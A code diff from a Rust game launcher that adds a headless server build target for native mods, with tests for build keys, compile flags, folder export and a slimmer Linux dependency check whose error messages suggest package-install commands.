"engine/src/lib.rs",
|
||||
@@ -2019,10 +2319,245 @@ mod tests {
|
||||
let d = dir("profile-key");
|
||||
write_bundle(&d, "hello", "fn hook() {}");
|
||||
let found = bundles(&d).unwrap();
|
||||
let fast = version_for(A, B, Profile::Fast, &found).unwrap();
|
||||
let release = version_for(A, B, Profile::Release, &found).unwrap();
|
||||
let fast = version_for(A, B, Profile::Fast, Target::Client, &found).unwrap();
|
||||
let release = version_for(A, B, Profile::Release, Target::Client, &found).unwrap();
|
||||
assert_ne!(fast, release);
|
||||
assert_eq!(fast, version_for(A, B, Profile::Fast, &found).unwrap());
|
||||
assert_eq!(
|
||||
fast,
|
||||
version_for(A, B, Profile::Fast, Target::Client, &found).unwrap()
|
||||
);
|
||||
}
|
||||
|
||||
/// The server build (docs/server.md): compiled headless off the same source, with its own
|
||||
/// key, and the game build's flags unchanged.
|
||||
#[test]
|
||||
fn a_server_build_compiles_headless_with_its_own_key() {
|
||||
let d = dir("server-key");
|
||||
write_bundle(&d, "hello", "fn hook() {}");
|
||||
let found = bundles(&d).unwrap();
|
||||
let key = |target: Target| version_for(A, B, Profile::Fast, target, &found).unwrap();
|
||||
assert_ne!(
|
||||
key(Target::Client),
|
||||
key(Target::Server),
|
||||
"the two targets never stand in for each other"
|
||||
);
|
||||
assert_eq!(key(Target::Server), key(Target::Server));
|
||||
assert_ne!(
|
||||
key(Target::Server),
|
||||
version_for(A, B, Profile::Release, Target::Server, &found).unwrap(),
|
||||
"the profile is still in the server key"
|
||||
);
|
||||
let rust = Toolchain {
|
||||
dir: PathBuf::from("/rust/1.99.1-x"),
|
||||
};
|
||||
let flags = |stage: &Path, target: Target| {
|
||||
compile(
|
||||
&rust,
|
||||
stage,
|
||||
target,
|
||||
Path::new("/native/target"),
|
||||
Profile::Fast,
|
||||
)
|
||||
.get_args()
|
||||
.map(|a| a.to_string_lossy().into_owned())
|
||||
.collect::<Vec<String>>()
|
||||
};
|
||||
let server = flags(&d, Target::Server);
|
||||
assert!(server.contains(&"--no-default-features".into()));
|
||||
assert!(
|
||||
!server.iter().any(|a| a.starts_with("--features")),
|
||||
"no feature the source doesn't have"
|
||||
);
|
||||
let client = flags(&d, Target::Client);
|
||||
assert!(!client.contains(&"--no-default-features".into()));
|
||||
// A source with the `mods` feature keeps it in both builds.
|
||||
fs::create_dir_all(d.join("crates/horizon-client")).unwrap();
|
||||
fs::write(
|
||||
d.join("crates/horizon-client/Cargo.toml"),
|
||||
"[features]\nmods = []\n",
|
||||
)
|
||||
.unwrap();
|
||||
for target in [Target::Client, Target::Server] {
|
||||
let args = flags(&d, target);
|
||||
assert!(
|
||||
args.windows(2)
|
||||
.any(|w| w == ["--features", FEATURES].map(String::from)),
|
||||
"{:?}: the mods feature stays on",
|
||||
target
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// A record (`native-mods.json`) says what it compiles; one from before targets were
|
||||
/// recorded is a client build, so it still reads ([`about`]).
|
||||
#[test]
|
||||
fn a_builds_record_names_its_target_and_older_ones_still_read() {
|
||||
let d = dir("about-target");
|
||||
let record = |target: Option<&str>| {
|
||||
let json = match target {
|
||||
Some(target) => {
|
||||
format!(r#"{{"base":"v2026.10.13","horizon":"{A}","target":"{target}"}}"#)
|
||||
}
|
||||
None => format!(r#"{{"base":"v2026.10.13","horizon":"{A}"}}"#),
|
||||
};
|
||||
fs::write(d.join("native-mods.json"), json).unwrap();
|
||||
about_in(&d).unwrap()
|
||||
};
|
||||
assert_eq!(
|
||||
record(None).target,
|
||||
Target::Client,
|
||||
"a build from before targets"
|
||||
);
|
||||
assert_eq!(record(Some("client")).target, Target::Client);
|
||||
assert_eq!(record(Some("server")).target, Target::Server);
|
||||
assert_eq!(record(Some("anything-else")).target, Target::Client);
|
||||
assert_eq!(record(None).horizon, A);
|
||||
}
|
||||
|
||||
/// The export ([`build_server`]): a standalone runtime folder with the engine, the mods'
|
||||
/// data and the build's record, engine still executable, and nothing of the player's
|
||||
/// overwritten.
|
||||
#[test]
|
||||
fn an_exported_server_folder_keeps_its_files_and_overwrites_nothing() {
|
||||
let built = dir("export-built");
|
||||
fs::write(built.join(Target::Server.binary()), b"engine").unwrap();
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
fs::set_permissions(
|
||||
built.join(Target::Server.binary()),
|
||||
std::fs::Permissions::from_mode(0o755),
|
||||
)
|
||||
.unwrap();
|
||||
}
|
||||
fs::create_dir_all(built.join("native-data/bake")).unwrap();
|
||||
fs::write(built.join("native-data/bake/table.bin"), b"data").unwrap();
|
||||
fs::create_dir_all(built.join("resources")).unwrap();
|
||||
fs::write(built.join("resources/lang.json"), b"{}").unwrap();
|
||||
let out = dir("export-out");
|
||||
let output = out.join("server");
|
||||
export(&built, &output).unwrap();
|
||||
assert_eq!(
|
||||
fs::read(output.join(Target::Server.binary())).unwrap(),
|
||||
b"engine"
|
||||
);
|
||||
assert_eq!(
|
||||
fs::read(output.join("native-data/bake/table.bin")).unwrap(),
|
||||
b"data"
|
||||
);
|
||||
assert_eq!(fs::read(output.join("resources/lang.json")).unwrap(), b"{}");
|
||||
assert_eq!(
|
||||
fs::read_dir(&out).unwrap().flatten().count(),
|
||||
1,
|
||||
"no staging folder left beside it"
|
||||
);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mode = fs::metadata(output.join(Target::Server.binary()))
|
||||
.unwrap()
|
||||
.permissions()
|
||||
.mode();
|
||||
assert_eq!(mode & 0o111, 0o111, "the engine stays executable");
|
||||
}
|
||||
// A folder already there is refused, and its contents are left alone.
|
||||
let taken = dir("export-taken");
|
||||
fs::write(taken.join("keep.txt"), b"mine").unwrap();
|
||||
let err = export(&built, &taken).unwrap_err();
|
||||
assert!(err.contains("already exists"), "{err}");
|
||||
assert_eq!(fs::read(taken.join("keep.txt")).unwrap(), b"mine");
|
||||
let failed = out.join("failed");
|
||||
assert!(export(&out.join("missing-source"), &failed).is_err());
|
||||
assert!(!failed.exists());
|
||||
assert_eq!(fs::read_dir(&out).unwrap().flatten().count(), 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn server_install_is_not_playable_and_export_survives_cache_removal() {
|
||||
let base = "native-test-server-base";
|
||||
let version = "native-test-server-cache";
|
||||
let source = backend::version_dir(base);
|
||||
fs::create_dir_all(source.join(".local/horizon-client/26.3")).unwrap();
|
||||
fs::write(
|
||||
source.join(".local/horizon-client/26.3/facts.json"),
|
||||
b"facts",
|
||||
)
|
||||
.unwrap();
|
||||
fs::write(source.join(Target::Server.binary()), b"unmodded").unwrap();
|
||||
let binary = dir("server-install").join("built");
|
||||
fs::write(&binary, b"modded").unwrap();
|
||||
install(
|
||||
base,
|
||||
version,
|
||||
Target::Server,
|
||||
&binary,
|
||||
&serde_json::json!({"target":"server"}),
|
||||
|d| {
|
||||
fs::create_dir_all(d.join("native-data")).unwrap();
|
||||
fs::write(d.join("native-data/test"), b"baked").unwrap();
|
||||
Ok(())
|
||||
},
|
||||
)
|
||||
.unwrap();
|
||||
assert!(!backend::installed().contains(&version.to_string()));
|
||||
let cached = Target::Server.directory(version);
|
||||
let output = dir("server-independent").join("export");
|
||||
export(&cached, &output).unwrap();
|
||||
fs::remove_dir_all(cached).unwrap();
|
||||
assert_eq!(
|
||||
fs::read(output.join(Target::Server.binary())).unwrap(),
|
||||
b"modded"
|
||||
);
|
||||
assert_eq!(fs::read(output.join("native-data/test")).unwrap(), b"baked");
|
||||
assert_eq!(
|
||||
fs::read(output.join(".local/horizon-client/26.3/facts.json")).unwrap(),
|
||||
b"facts"
|
||||
);
|
||||
assert!(output.join("native-mods.json").is_file());
|
||||
let _ = fs::remove_dir_all(source);
|
||||
}
|
||||
|
||||
/// The export's own gate: an output that already exists is refused before anything is
|
||||
/// downloaded or compiled (a base that isn't installed would refuse the build otherwise),
|
||||
/// and no instance is edited or version selected.
|
||||
#[test]
|
||||
fn a_server_build_refuses_an_existing_output_before_building() {
|
||||
let output = dir("server-output");
|
||||
let folder = dir("server-mods");
|
||||
write_bundle(&folder, "hello", "fn hook() {}");
|
||||
let instances_before = instances::list();
|
||||
let selected_before = backend::Settings::load().selected;
|
||||
let err = build_server(
|
||||
"v0.0.0-not-installed",
|
||||
&folder,
|
||||
&output,
|
||||
true,
|
||||
Profile::Fast,
|
||||
|_| {},
|
||||
)
|
||||
.unwrap_err();
|
||||
assert!(err.contains("already exists"), "{err}");
|
||||
let managed = root().join("forbidden-export");
|
||||
let err = build_server(
|
||||
"v0.0.0-not-installed",
|
||||
&folder,
|
||||
&managed,
|
||||
true,
|
||||
Profile::Fast,
|
||||
|_| {},
|
||||
)
|
||||
.unwrap_err();
|
||||
assert!(
|
||||
err.contains("outside the launcher's managed folders"),
|
||||
"{err}"
|
||||
);
|
||||
assert!(!managed.exists());
|
||||
assert_eq!(instances::list(), instances_before, "no instance is edited");
|
||||
assert_eq!(
|
||||
backend::Settings::load().selected,
|
||||
selected_before,
|
||||
"no version is selected"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
@@ -2247,7 +2782,13 @@ mod tests {
|
||||
dir: PathBuf::from("/rust/1.99.1-x"),
|
||||
};
|
||||
let stage = dir("stage-config");
|
||||
let cmd = compile(&rust, &stage, Path::new("/native/target"), Profile::Fast);
|
||||
let cmd = compile(
|
||||
&rust,
|
||||
&stage,
|
||||
Target::Client,
|
||||
Path::new("/native/target"),
|
||||
Profile::Fast,
|
||||
);
|
||||
let args: Vec<String> = cmd
|
||||
.get_args()
|
||||
.map(|a| a.to_string_lossy().into_owned())
|
||||
@@ -2272,7 +2813,13 @@ mod tests {
|
||||
// The workspace's own configuration still applies.
|
||||
fs::create_dir_all(stage.join(".cargo")).unwrap();
|
||||
fs::write(stage.join(".cargo/config.toml"), "").unwrap();
|
||||
let cmd = compile(&rust, &stage, Path::new("/native/target"), Profile::Fast);
|
||||
let cmd = compile(
|
||||
&rust,
|
||||
&stage,
|
||||
Target::Client,
|
||||
Path::new("/native/target"),
|
||||
Profile::Fast,
|
||||
);
|
||||
let args: Vec<_> = cmd.get_args().collect();
|
||||
assert_eq!(args[1], "--config");
|
||||
assert_eq!(args[2], stage.join(".cargo/config.toml"));
|
||||
@@ -2298,7 +2845,13 @@ mod tests {
|
||||
let rust = Toolchain {
|
||||
dir: PathBuf::from("/rust/1.99.1-x"),
|
||||
};
|
||||
let cmd = compile(&rust, &d, Path::new("/native/target"), Profile::Fast);
|
||||
let cmd = compile(
|
||||
&rust,
|
||||
&d,
|
||||
Target::Client,
|
||||
Path::new("/native/target"),
|
||||
Profile::Fast,
|
||||
);
|
||||
let args: Vec<_> = cmd.get_args().collect();
|
||||
assert!(args.windows(2).any(|w| w == ["--profile", "fast"]));
|
||||
}
|
||||
|
||||
@@ -439,6 +439,18 @@ fn mingw_path(path: &Path) -> Option<PathBuf> {
|
||||
/// Windows' `windows-gnu` toolchain brings its own linker, and MinGW-w64 for C and import
|
||||
/// libraries ([`MINGW`]).
|
||||
pub fn linker() -> Result<(), String> {
|
||||
link(true)
|
||||
}
|
||||
|
||||
/// The headless build's ([`crate::native_mods::build_server`]): the same check, minus what only
|
||||
/// the game links. A server build compiles without the default features, so it links none of
|
||||
/// the system's sound or controller libraries and needs no pkg-config to find them: only a C
|
||||
/// compiler and the C library's headers.
|
||||
pub fn linker_server() -> Result<(), String> {
|
||||
link(false)
|
||||
}
|
||||
|
||||
fn link(full: bool) -> Result<(), String> {
|
||||
let ok = |program: &str, args: &[&str]| {
|
||||
Command::new(program)
|
||||
.args(args)
|
||||
@@ -452,19 +464,25 @@ pub fn linker() -> Result<(), String> {
|
||||
"Native mods need Apple's Command Line Tools to link the game. Run `xcode-select --install` in Terminal, then build again."
|
||||
.into(),
|
||||
),
|
||||
"linux" => linux_needs(ok, &fs::read_to_string("/etc/os-release").unwrap_or_default()),
|
||||
"linux" => linux_needs(
|
||||
ok,
|
||||
&fs::read_to_string("/etc/os-release").unwrap_or_default(),
|
||||
full,
|
||||
),
|
||||
_ => Ok(()),
|
||||
}
|
||||
}
|
||||
|
||||
/// What a Linux build needs from the system, checked before anything is downloaded: a C compiler
|
||||
/// (the linker; `ring` and `hidapi` compile C) with the C library's headers, `pkg-config`, and
|
||||
/// the development files of ALSA (`alsa-sys`, sound) and libudev (`libudev-sys` and `hidapi`,
|
||||
/// controllers), which those crates look up with it. Desktop distributions ship the libraries but
|
||||
/// not these files, and SteamOS has GCC without the C library's headers (`stdint.h` not found in
|
||||
/// `ring`, #4770), so a build without them failed minutes in. `ok` runs a check; `os` is
|
||||
/// `/etc/os-release`, which picks the install command.
|
||||
fn linux_needs(ok: impl Fn(&str, &[&str]) -> bool, os: &str) -> Result<(), String> {
|
||||
/// (the linker; `ring` and `hidapi` compile C) with the C library's headers and, for the game
|
||||
/// only (`full`), `pkg-config` and the development files of ALSA (`alsa-sys`, sound) and
|
||||
/// libudev (`libudev-sys` and `hidapi`, controllers), which those crates look up with it. The
|
||||
/// headless server build links none of those (`--no-default-features`, docs/server.md).
|
||||
/// Desktop distributions ship the libraries but not these files, and SteamOS has GCC without
|
||||
/// the C library's headers (`stdint.h` not found in `ring`, #4770), so a build without them
|
||||
/// failed minutes in. `ok` runs a check; `os` is `/etc/os-release`, which picks the install
|
||||
/// command.
|
||||
fn linux_needs(ok: impl Fn(&str, &[&str]) -> bool, os: &str, full: bool) -> Result<(), String> {
|
||||
let cc = ok("cc", &["--version"]);
|
||||
// GCC's and Clang's own `stdint.h` include the C library's.
|
||||
let headers = [
|
||||
@@ -475,19 +493,28 @@ fn linux_needs(ok: impl Fn(&str, &[&str]) -> bool, os: &str) -> Result<(), Strin
|
||||
"stdint.h",
|
||||
"/dev/null",
|
||||
];
|
||||
let pkg_config = ok("pkg-config", &["--version"]);
|
||||
let has = |name: &str| pkg_config && ok("pkg-config", &["--exists", name]);
|
||||
let missing: Vec<&str> = [
|
||||
let mut missing: Vec<&str> = [
|
||||
(cc, "a C compiler (cc)"),
|
||||
(!cc || ok("cc", &headers), "the C library's headers"),
|
||||
(pkg_config, "pkg-config"),
|
||||
(has("alsa"), "ALSA's development files"),
|
||||
(has("libudev"), "libudev's development files"),
|
||||
]
|
||||
.into_iter()
|
||||
.filter(|(found, _)| !found)
|
||||
.map(|(_, what)| what)
|
||||
.collect();
|
||||
if full {
|
||||
let pkg_config = ok("pkg-config", &["--version"]);
|
||||
let has = |name: &str| pkg_config && ok("pkg-config", &["--exists", name]);
|
||||
missing.extend(
|
||||
[
|
||||
(pkg_config, "pkg-config"),
|
||||
(has("alsa"), "ALSA's development files"),
|
||||
(has("libudev"), "libudev's development files"),
|
||||
]
|
||||
.into_iter()
|
||||
.filter(|(found, _)| !found)
|
||||
.map(|(_, what)| what),
|
||||
);
|
||||
}
|
||||
if missing.is_empty() {
|
||||
return Ok(());
|
||||
}
|
||||
@@ -503,15 +530,31 @@ fn linux_needs(ok: impl Fn(&str, &[&str]) -> bool, os: &str) -> Result<(), Strin
|
||||
.chain(like.split_whitespace())
|
||||
.any(|n| names.contains(&n))
|
||||
};
|
||||
const APT: &str = "sudo apt install build-essential pkg-config libasound2-dev libudev-dev";
|
||||
let apt = if full {
|
||||
"sudo apt install build-essential pkg-config libasound2-dev libudev-dev"
|
||||
} else {
|
||||
"sudo apt install build-essential"
|
||||
};
|
||||
let command = if family(&["debian", "ubuntu"]) {
|
||||
Some(APT)
|
||||
Some(apt)
|
||||
} else if family(&["fedora", "rhel"]) {
|
||||
Some("sudo dnf install gcc pkgconf-pkg-config alsa-lib-devel systemd-devel")
|
||||
Some(if full {
|
||||
"sudo dnf install gcc pkgconf-pkg-config alsa-lib-devel systemd-devel"
|
||||
} else {
|
||||
"sudo dnf install gcc glibc-devel"
|
||||
})
|
||||
} else if family(&["arch"]) && id != "steamos" {
|
||||
Some("sudo pacman -S --needed base-devel alsa-lib systemd-libs")
|
||||
Some(if full {
|
||||
"sudo pacman -S --needed base-devel alsa-lib systemd-libs"
|
||||
} else {
|
||||
"sudo pacman -S --needed base-devel"
|
||||
})
|
||||
} else if family(&["suse", "opensuse"]) {
|
||||
Some("sudo zypper install gcc pkg-config alsa-devel libudev-devel")
|
||||
Some(if full {
|
||||
"sudo zypper install gcc pkg-config alsa-devel libudev-devel"
|
||||
} else {
|
||||
"sudo zypper install gcc glibc-devel"
|
||||
})
|
||||
} else {
|
||||
None
|
||||
};
|
||||
@@ -526,7 +569,7 @@ fn linux_needs(ok: impl Fn(&str, &[&str]) -> bool, os: &str) -> Result<(), Strin
|
||||
}
|
||||
_ if id == "steamos" => "SteamOS ships without them and its system is read-only, so native mods can't be built on it yet.".to_owned(),
|
||||
Some(command) => format!("Install them in a terminal, then build again:\n{command}"),
|
||||
None => format!("Install them with your distribution's package manager, then build again (on Debian, Ubuntu or Mint: {APT})."),
|
||||
None => format!("Install them with your distribution's package manager, then build again (on Debian, Ubuntu or Mint: {apt})."),
|
||||
};
|
||||
Err(format!(
|
||||
"Native mods need these to build the game on Linux, and this computer lacks them: {}. {how}",
|
||||
@@ -834,7 +877,7 @@ mod tests {
|
||||
let no_dev =
|
||||
|program: &str, args: &[&str]| program != "pkg-config" || args[0] != "--exists";
|
||||
let mint = "NAME=\"Linux Mint\"\nID=linuxmint\nID_LIKE=\"ubuntu debian\"\n";
|
||||
let e = linux_needs(no_dev, mint).unwrap_err();
|
||||
let e = linux_needs(no_dev, mint, true).unwrap_err();
|
||||
assert!(
|
||||
e.contains("lacks them: ALSA's development files, libudev's development files."),
|
||||
"{e}"
|
||||
@@ -842,36 +885,49 @@ mod tests {
|
||||
assert!(
|
||||
e.ends_with("\nsudo apt install build-essential pkg-config libasound2-dev libudev-dev")
|
||||
);
|
||||
// The headless server build needs none of those: only a C compiler and its headers.
|
||||
assert_eq!(
|
||||
linux_needs(no_dev, mint, false),
|
||||
Ok(()),
|
||||
"headless links none"
|
||||
);
|
||||
// Nothing to check through without pkg-config, and nothing at all on SteamOS.
|
||||
let nothing = |_: &str, _: &[&str]| false;
|
||||
let deck = "ID=steamos\nID_LIKE=arch\n";
|
||||
let e = linux_needs(nothing, deck).unwrap_err();
|
||||
let e = linux_needs(nothing, deck, true).unwrap_err();
|
||||
assert!(e.contains("a C compiler (cc), pkg-config, ALSA's"), "{e}");
|
||||
assert!(e.contains("SteamOS") && !e.contains("pacman"), "{e}");
|
||||
// Headless, the same system names only what it lacks: cc and the C library's headers.
|
||||
let e = linux_needs(nothing, deck, false).unwrap_err();
|
||||
assert!(e.contains("lacks them: a C compiler (cc)."), "{e}");
|
||||
assert!(!e.contains("pkg-config") && !e.contains("ALSA"), "{e}");
|
||||
// A C compiler alone is enough for the headless build.
|
||||
let cc_only = |program: &str, _: &[&str]| program == "cc";
|
||||
assert_eq!(linux_needs(cc_only, mint, false), Ok(()));
|
||||
// SteamOS 3's GCC runs but finds no `stdint.h` (#4770).
|
||||
let headless = |program: &str, args: &[&str]| program != "cc" || args == ["--version"];
|
||||
let e = linux_needs(headless, deck).unwrap_err();
|
||||
let e = linux_needs(headless, deck, false).unwrap_err();
|
||||
assert!(
|
||||
e.contains("lacks them: the C library's headers. SteamOS"),
|
||||
"{e}"
|
||||
);
|
||||
let arch = linux_needs(nothing, "ID=endeavouros\nID_LIKE=arch\n").unwrap_err();
|
||||
let arch = linux_needs(nothing, "ID=endeavouros\nID_LIKE=arch\n", true).unwrap_err();
|
||||
assert!(arch.contains("pacman -S --needed base-devel"), "{arch}");
|
||||
let fedora = linux_needs(nothing, "ID=fedora\n").unwrap_err();
|
||||
let fedora = linux_needs(nothing, "ID=fedora\n", true).unwrap_err();
|
||||
assert!(fedora.contains("dnf install"), "{fedora}");
|
||||
let other = linux_needs(nothing, "ID=gentoo\n").unwrap_err();
|
||||
let other = linux_needs(nothing, "ID=gentoo\n", true).unwrap_err();
|
||||
assert!(
|
||||
other.contains("package manager") && other.contains("apt install"),
|
||||
"{other}"
|
||||
);
|
||||
// NixOS's packages are in the store: a shell that lists them is the only way in (#5248).
|
||||
let nixos = linux_needs(nothing, "NAME=NixOS\nID=nixos\n").unwrap_err();
|
||||
let nixos = linux_needs(nothing, "NAME=NixOS\nID=nixos\n", true).unwrap_err();
|
||||
assert!(nixos.contains("nix-shell"), "{nixos}");
|
||||
assert!(
|
||||
nixos.contains("lacks them: a C compiler (cc), pkg-config"),
|
||||
"{nixos}"
|
||||
);
|
||||
assert!(!nixos.contains("apt install"), "{nixos}");
|
||||
assert_eq!(linux_needs(|_: &str, _: &[&str]| true, mint), Ok(()));
|
||||
assert_eq!(linux_needs(|_: &str, _: &[&str]| true, mint, true), Ok(()));
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user